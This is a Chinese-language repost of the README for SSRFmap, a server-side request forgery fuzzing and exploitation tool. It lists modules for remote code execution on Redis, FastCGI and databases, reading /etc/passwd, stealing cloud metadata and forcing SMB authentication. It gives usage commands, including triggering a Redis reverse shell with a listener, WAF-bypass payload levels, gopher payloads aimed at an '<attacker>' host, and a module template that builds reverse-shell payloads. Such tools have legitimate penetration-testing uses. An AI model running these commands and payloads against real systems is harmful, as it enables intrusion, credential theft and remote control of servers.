SSRFmap——SSRF 模糊测试器和利用工具

SSRF 通常用于利用对其他服务的操作,该框架旨在轻松查找和利用这些服务。SSRFmap 将 Burp 请求文件作为输入和模糊测试参数。

服务器端请求伪造或 SSRF 是一种漏洞,攻击者强迫服务器代表他们执行请求。

概括

模块

下列模块已经实现,可以与参数一起使用-m

姓名描述
axfrDNS 区域传输 (AXFR)
fastcgiFastCGI远程代码执行
redisRedis 远程代码执行
githubGithub Enterprise RCE < 2.8.7
zabbixZabbix远程代码执行
mysqlMySQL 命令执行
postgresPostgres 命令执行
docker通过 API 进行 Docker 信息泄露
smtpSMTP 发送邮件
portscan扫描主机的前 8000 个端口
networkscanHTTP Ping 扫描网络
readfiles读取如下文件/etc/passwd
alibaba从提供商读取文件(例如:元数据、用户数据)
aws从提供商读取文件(例如:元数据、用户数据)
gce从提供商读取文件(例如:元数据、用户数据)
digitalocean从提供商读取文件(例如:元数据、用户数据)
socksproxySOCKS4代理
smbhash通过 UNC 路径强制进行 SMB 身份验证
tomcat针对 Tomcat Manager 的暴力攻击
custom发送自定义数据到监听服务,例如:netcat
memcache将数据存储在 memcache 实例中

安装和手册

  • 来自 Github 存储库。$ git clone https://github.com/swisskyrepo/SSRFmap $ cd SSRFmap/ $ pip3 install -r requirements.txt $ python3 ssrfmap.py usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] [-v [VERBOSE]] [–lhost LHOST] [–lport LPORT] [–uagent USERAGENT] [–ssl [SSL]] [–level [LEVEL]] optional arguments: -h, –help show this help message and exit -r REQFILE SSRF Request file -p PARAM SSRF Parameter to target -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity –lhost LHOST LHOST reverse shell or IP to target in the network –lport LPORT LPORT reverse shell or port to target in the network –uagent USERAGENT User Agent to use –ssl [SSL] Use HTTPS without verification –proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) –level [LEVEL] Level of test to perform (1-5, default: 1)
  • Docker$ git clone https://github.com/swisskyrepo/SSRFmap $ docker build –no-cache -t ssrfmap . $ docker run -it ssrfmap ssrfmap.py [OPTIONS] $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py

示例

首先,您需要一个带有参数的请求来进行模糊测试,Burp 请求与 SSRFmap 配合良好。它们应该如下所示。./examples文件夹中提供了更多示例。

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

使用-m后跟的模块名称(,如果要启动多个模块,请用 分隔)。

# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

如果要在标头中注入 GET 或 POST 参数,则只需指定参数名称

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

如果您需要自定义用户代理,请使用--uagent。某些目标将使用 HTTPS,您可以使用 启用它--ssl

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

有些模块允许你创建反向连接,你必须指定LHOSTLPORT。SSRFmap 还可以监听传入的反向 shell。

# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

当目标受到 WAF 或某些过滤器的保护时,您可以使用参数尝试各种有效载荷和编码--level

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap 测试

可以使用data/example.pySSRF 服务来快速测试该框架。

  • 当地的FLASK_APP=examples/example.py flask run & python ssrfmap.py -r examples/request.txt -p url -m readfiles
  • Dockerdocker build –no-cache -t ssrfmap . # run example ssrf http service docker run -it -v $(pwd):/usr/src/app –name example ssrfmap examples/example.py # run example ssrf dns service docker exec -u root:root -it example python examples/ssrf_dns.py # run ssrfmap tool docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles

启动测试请求:

docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

贡献

我❤️拉取请求:)请随意添加下面列出的任何功能或新服务。

  • Redis PHP 漏洞利用
  • HTTP 模块(Jenkins?)
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

如果您希望添加与服务交互的模块,以下代码是一个模板。

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

您还可以通过 IRL 或 Github Sponsor 按钮为啤酒做出贡献。

国内下载链接

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享